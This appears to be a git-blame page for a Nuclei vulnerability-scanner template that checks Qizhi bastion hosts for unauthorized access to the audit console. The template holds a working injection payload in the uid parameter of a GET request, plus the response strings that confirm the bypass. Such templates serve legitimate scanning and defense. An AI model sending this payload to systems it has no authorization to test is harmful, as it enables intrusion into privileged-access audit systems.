nuclei-templates/vulnerabilities/other/qizhi-fortressaircraft-unau...

id: qizhi-fortressaircraft-unauth

info:
  name: Qizhi Fortressaircraft Unauthorized Access
  author: ritikchaddha
  severity: high
  reference: https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw
  tags: qizhi,fortressaircraft,unauth

requests:
  - method: GET
    path:
      - "{{BaseURL}}/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "错误的id"
          - "审计管理员"
          - "事件审计"
        condition: and

      - type: status
        status:
          - 200
Update and rename qizhi-fortressaircraft-unauthorized.yaml to qizhi-fortressaircraft-unauth.yaml 2022-04-11 20:07:20 +00:00			`id: qizhi-fortressaircraft-unauth`
Create qizhi-fortressaircraft-unauthorized.yaml 2022-04-11 06:42:24 +00:00
			`info:`
Dashboard Content Enhancements (#4157) * Enhancement: exposures/files/joomla-file-listing.yaml by cs * Enhancement: cves/2019/CVE-2019-5418.yaml by mp * Enhancement: cves/2016/CVE-2016-10940.yaml by mp * Enhancement: cves/2015/CVE-2015-4694.yaml by mp * Enhancement: cves/2016/CVE-2016-10960.yaml by mp * Enhancement: cves/2021/CVE-2021-20091.yaml by mp * Enhancement: cves/2021/CVE-2021-20092.yaml by mp * Enhancement: vulnerabilities/other/solar-log-authbypass.yaml by mp * Enhancement: vulnerabilities/wordpress/churchope-lfi.yaml by mp * Enhancement: vulnerabilities/other/solar-log-authbypass.yaml by mp * Enhancement: cves/2017/CVE-2017-10075.yaml by mp * Enhancement: cves/2021/CVE-2021-27358.yaml by mp * Enhancement: cves/2017/CVE-2017-9833.yaml by mp * Enhancement: vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml by mp * Enhancement: vulnerabilities/wordpress/wp-spot-premium-lfi.yaml by mp * Enhancement: misconfiguration/symfony-debugmode.yaml by mp * Enhancement: cves/2016/CVE-2016-10940.yaml by mp * Enhancement: cves/2015/CVE-2015-4694.yaml by mp * Enhancement: cves/2016/CVE-2016-10960.yaml by mp * Enhancement: cves/2015/CVE-2015-4694.yaml by mp * Enhancement: vulnerabilities/wordpress/churchope-lfi.yaml by mp * Enhancement: cves/2017/CVE-2017-10075.yaml by mp * Enhancement: cves/2021/CVE-2021-27358.yaml by mp * Enhancement: vulnerabilities/wordpress/wordpress-accessible-wpconfig.yaml by mp * Enhancement: vulnerabilities/wordpress/wp-spot-premium-lfi.yaml by mp * Enhancement: vulnerabilities/wordpress/newsletter-open-redirect.yaml by mp * Enhancement: vulnerabilities/wordpress/newsletter-open-redirect.yaml by mp * Enhancement: vulnerabilities/wordpress/pieregister-open-redirect.yaml by mp * Enhancement: cves/2021/CVE-2021-25055.yaml by mp * Enhancement: cves/2021/CVE-2021-25028.yaml by mp * Enhancement: vulnerabilities/wordpress/noptin-open-redirect.yaml by mp * Enhancement: vulnerabilities/wordpress/elex-woocommerce-xss.yaml by mp * Enhancement: vulnerabilities/wordpress/my-chatbot-xss.yaml by mp * Enhancement: vulnerabilities/wordpress/wp-adaptive-xss.yaml by mp * Enhancement: cves/2021/CVE-2021-24947.yaml by mp * Enhancement: cves/2021/CVE-2021-24406.yaml by mp * Enhancement: vulnerabilities/wordpress/elementorpage-open-redirect.yaml by mp * Enhancement: cves/2016/CVE-2016-10033.yaml by mp * Enhancement: cves/2021/CVE-2021-31682.yaml by mp * Enhancement: vulnerabilities/wordpress/wp-woocommerce-file-download.yaml by mp * Enhancement: cves/2021/CVE-2021-22986.yaml by mp * Enhancement: vulnerabilities/wordpress/newsletter-open-redirect.yaml by mp * Enhancement: vulnerabilities/wordpress/pieregister-open-redirect.yaml by mp * Enhancement: cves/2021/CVE-2021-25055.yaml by mp * Enhancement: cves/2021/CVE-2021-25028.yaml by mp * Enhancement: vulnerabilities/wordpress/noptin-open-redirect.yaml by mp * Enhancement: vulnerabilities/wordpress/elex-woocommerce-xss.yaml by mp * Enhancement: cves/2021/CVE-2021-24947.yaml by mp * Enhancement: cves/2021/CVE-2021-24406.yaml by mp * Enhancement: cves/2021/CVE-2021-22986.yaml by mp * Enhancement: cves/2016/CVE-2016-10033.yaml by mp * Enhancement: vulnerabilities/wordpress/elementorpage-open-redirect.yaml by mp * Enhancement: cves/2021/CVE-2021-24406.yaml by mp * Relocating to CVE folder * Enhancement: cves/2017/CVE-2017-14651.yaml by mp * Enhancement: cves/2020/CVE-2020-24589.yaml by mp * Enhancement: vulnerabilities/confluence/confluence-ssrf-sharelinks.yaml by mp * Enhancement: cves/2019/CVE-2019-2729.yaml by mp * Enhancement: cves/2018/CVE-2018-2893.yaml by mp * Enhancement: cves/2018/CVE-2018-2628.yaml by mp * Enhancement: cves/2018/CVE-2018-3238.yaml by mp * Enhancement: cves/2018/CVE-2018-3238.yaml by mp * Enhancement: cves/2017/CVE-2017-3528.yaml by mp * Enhancement: cves/2019/CVE-2019-2588.yaml by mp * Enhancement: cves/2021/CVE-2021-31755.yaml by mp * Enhancement: cves/2021/CVE-2021-42071.yaml by mp * Enhancement: misconfiguration/zabbix-dashboards-access.yaml by mp * Enhancement: cves/2017/CVE-2017-14651.yaml by mp * Enhancement: cves/2020/CVE-2020-24589.yaml by mp * Enhancement: vulnerabilities/confluence/confluence-ssrf-sharelinks.yaml by mp * Enhancement: cves/2019/CVE-2019-2729.yaml by mp * Enhancement: cves/2018/CVE-2018-2893.yaml by mp * Enhancement: cves/2018/CVE-2018-3238.yaml by mp * Enhancement: cves/2017/CVE-2017-3528.yaml by mp * Enhancement: cves/2021/CVE-2021-42071.yaml by mp * Syntax corrections Added some cve-id fields Removed duplicate dashboard comments * Tag typo Co-authored-by: sullo <sullo@cirt.net> 2022-04-15 16:39:44 +00:00			`name: Qizhi Fortressaircraft Unauthorized Access`
Create qizhi-fortressaircraft-unauthorized.yaml 2022-04-11 06:42:24 +00:00			`author: ritikchaddha`
			`severity: high`
			`reference: https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw`
Update and rename qizhi-fortressaircraft-unauthorized.yaml to qizhi-fortressaircraft-unauth.yaml 2022-04-11 20:07:20 +00:00			`tags: qizhi,fortressaircraft,unauth`
Create qizhi-fortressaircraft-unauthorized.yaml 2022-04-11 06:42:24 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
Update and rename qizhi-fortressaircraft-unauthorized.yaml to qizhi-fortressaircraft-unauth.yaml 2022-04-11 20:07:20 +00:00			`part: body`
Create qizhi-fortressaircraft-unauthorized.yaml 2022-04-11 06:42:24 +00:00			`words:`
			`- "错误的id"`
			`- "审计管理员"`
			`- "事件审计"`
Update and rename qizhi-fortressaircraft-unauthorized.yaml to qizhi-fortressaircraft-unauth.yaml 2022-04-11 20:07:20 +00:00			`condition: and`
Create qizhi-fortressaircraft-unauthorized.yaml 2022-04-11 06:42:24 +00:00
			`- type: status`
			`status:`
			`- 200`